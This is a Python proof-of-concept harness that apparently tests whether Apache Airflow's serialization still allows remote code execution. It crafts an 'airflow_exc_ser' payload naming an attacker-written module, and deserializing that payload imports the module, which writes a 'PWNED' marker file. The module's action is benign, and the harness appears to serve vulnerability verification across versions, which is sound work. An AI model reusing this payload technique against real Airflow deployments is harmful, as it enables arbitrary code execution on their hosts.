import json
import os
import sys
import tempfile
import traceback

def main():
    if len(sys.argv) < 3:
        print("Usage: harness.py <label> <output.json>", file=sys.stderr)
        sys.exit(1)
    label = sys.argv[1]
    output = sys.argv[2]

    # Isolated AIRFLOW_HOME to avoid clobbering user state.
    airflow_home = tempfile.mkdtemp(prefix="airflow_home_")
    os.environ["AIRFLOW_HOME"] = airflow_home

    # Create a malicious exception module on the fly. Importing this module executes
    # module-level code controlled by the attacker (DAG author) and proves RCE in the
    # deserialization process.
    moddir = tempfile.mkdtemp(prefix="evil_exc_")
    marker = os.path.join(moddir, "PWNED")
    modpath = os.path.join(moddir, "evil_exc.py")
    with open(modpath, "w") as f:
        f.write("import os, sys\n")
        f.write(f"MARKER = {repr(marker)}\n")
        f.write("with open(MARKER, 'w') as fh: fh.write('owned')\n")
        f.write("print('MODULE-LEVEL-EXECUTED', file=sys.stderr)\n")
        f.write("class EvilException(Exception):\n")
        f.write("    def __init__(self, *args, **kwargs):\n")
        f.write("        pass\n")

    sys.path.insert(0, moddir)

    # Import Airflow inside the isolated env.
    from airflow import __version__ as airflow_version
    from airflow.serialization.enums import Encoding
    from airflow.serialization.serialized_objects import BaseSerialization

    # Crafted payload that mimics serialized DAG content containing an Airflow
    # serialized exception with an attacker-controlled class path. The fixed 3.3.0
    # release removed the DAT.BASE_TRIGGER branch but left the DAT.AIRFLOW_EXC_SER
    # branch in BaseSerialization.deserialize(), so this still reaches the same
    # import_string() sink and executes the attacker module.
    payload = {
        Encoding.TYPE: "airflow_exc_ser",
        Encoding.VAR: {
            Encoding.TYPE: "dict",
            Encoding.VAR: {
                "exc_cls_name": "evil_exc.EvilException",
                "args": [],
                "kwargs": {Encoding.TYPE: "dict", Encoding.VAR: {}},
            },
        },
    }

    if os.path.exists(marker):
        os.remove(marker)

    exception_type = None
    exception_message = None
    try:
        BaseSerialization.deserialize(payload)
    except Exception as exc:
        exception_type = type(exc).__name__
        exception_message = str(exc)
        traceback.print_exc()

    marker_exists = os.path.exists(marker)

    result = {
        "label": label,
        "airflow_version": airflow_version,
        "payload": repr(payload),
        "module_dir": moddir,
        "marker": marker,
        "marker_exists_after": marker_exists,
        "exception_type": exception_type,
        "exception_message": exception_message,
    }
    with open(output, "w") as f:
        json.dump(result, f, indent=2, default=str)

    print(f"[{label}] Airflow {airflow_version}")
    print(f"[{label}] marker_exists_after={marker_exists} exception={exception_type}")
    if exception_type:
        print(f"[{label}] {exception_type}: {exception_message}")

if __name__ == "__main__":
    main()